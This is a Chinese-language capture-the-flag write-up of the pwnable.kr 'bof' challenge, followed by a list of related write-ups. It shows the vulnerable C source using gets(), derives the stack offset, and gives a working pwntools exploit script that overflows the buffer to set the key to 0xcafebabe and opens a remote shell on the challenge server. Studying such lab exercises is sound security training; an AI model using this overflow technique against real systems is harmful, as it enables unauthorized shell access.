bof - pwnable

1.获取题目

题目给出下载链接:程序文件;源码

2. 运行程序、查看文件类型、保护措施

在本地机上运行一下程序：运行提示需要输入一个passcode，随意输入一个密码提示Nah…

查看文件类型：是32位动态链接的elf

查看保护措施：

3.分析源码

因为题目有给出源码，所以先直接查看源码分析。

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){char overflowme[32];printf("overflow me : ");gets(overflowme); // smash me!if(key == 0xcafebabe){system("/bin/sh");}else{printf("Nah..\n");}
}
int main(int argc, char* argv[]){func(0xdeadbeef);return 0;
}

main应该不存在问题，只是调用func函数并传入一个参数。func函数中gets函数应该存在漏洞的，并没有限制输入的长度，容易造成栈溢出。

func函数里面的if语句判断传入的参数是否等于0xcafebabe，从而决定是否运行system函数。

那么我们的思路就是例如gets函数造成栈溢出，覆盖传入的参数值，使得等式成立。即使a1 = 0xcafebabe

将程序丢进IDA，可以看到变量s到栈底的距离是0x2CH，加上ebp和eip。变量s到变量a1内存单元的距离是0x2CH + 4 + 4

先来构造payload

from pwn import *
payload = 'A'*0x2C + 'A'*0X4 + 'A'*0x4
payload += p32(0xcafebabe)

在本地测试运行一下：system函数已经被调用了

4. 编写利用脚本

from pwn import *bof = remote('pwnable.kr','9000')#题目运行在pwnable.kr的9000端口payload = 'A'*0x2C + 'A'*0X4 + 'A'*0x4
payload += p32(0xcafebabe)bof.send(payload)
bof.interactive()#转移控制权限

//以下是获取sh之后，寻找flag
ls -l
cat flag

bof - pwnable相关推荐

pwnable.kr 简单题目详细笔记汇总
文章目录 fd collision bof flag passcode random input leg mistake shellshock coin1 lotto cmd1 cmd2 uaf bl ...
简单易懂的 pwnable.kr 第三题[bof]Writeupt
简单易懂的 pwnable.kr 第三题[bof]Writeupt 题目地址:http://pwnable.kr/play.php 点开题目发现: 他给了提示覆盖,并且给了两个网址.分别打开,第一个给 ...
pwnable.kr bof
pwnable.kr bof 同样的,既然有源代码.我们就配合着源代码来做题,这样可能更利于搞懂高级语言被反汇编之后两者之间的联系. bof.c #include <stdio.h> #i ...
每日一题pwnable.kr bof
需要我们计算我们输入的位置到a1位置需要填充多少字节.然后再给a1赋值即可getshell 疑问1. 怎么确定输入的位置到a1的距离? 我刚开始想这么干,直接用这个地址相减. 但是不行,这题是覆盖变量 ...
【pwnable.kr】 alloca
https://www.anquanke.com/post/id/170288 前言最近在刷pwnable.kr [Rookiss],题目都好有意思,一其中题alloca虽然分值不高,但分析过程很值 ...
pwnable.kr之Toddler‘s Bottle前八题知识点记录
pwn刷题网站地址(点击直达): http://pwnable.kr/play.php 文章目录第一题 fd 第二题:collision 1.首先是char和int数据类型的转换 2.python实 ...
【pwnable.kr】Toddler‘s Bottle-[bof]
目录导航打开题目审题 nc 命令介绍获取服务器文件源代码分析 ELF分析构造payload 解题打开题目审题 Nana told me that buffer overflow is one ...
Pwnable之[Toddler's Bottle]（一）
Pwnable之[Toddler's Bottle] Pwn挑战地址 1.fd #include <stdio.h> #include <stdlib.h> #include ...
#20145238荆玉茗《网络对抗》-逆向及Bof进阶实践
20145238荆玉茗<网络对抗>-逆向及Bof进阶实践实践目的:注入shellcode 准备一段shellcode代码 Shellcode实际是一段代码(也可以是填充数据),是用来发送 ...
20145227鄢曼君《网络对抗》逆向及Bof基础
20145227鄢曼君<网络对抗>逆向及Bof基础实践目标本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:main调用foo函数,foo函数会简单回显任 ...

bof - pwnable

bof - pwnable

1.获取题目

2. 运行程序、查看文件类型、保护措施

3.分析源码

4. 编写利用脚本

bof - pwnable相关推荐

最新文章

热门文章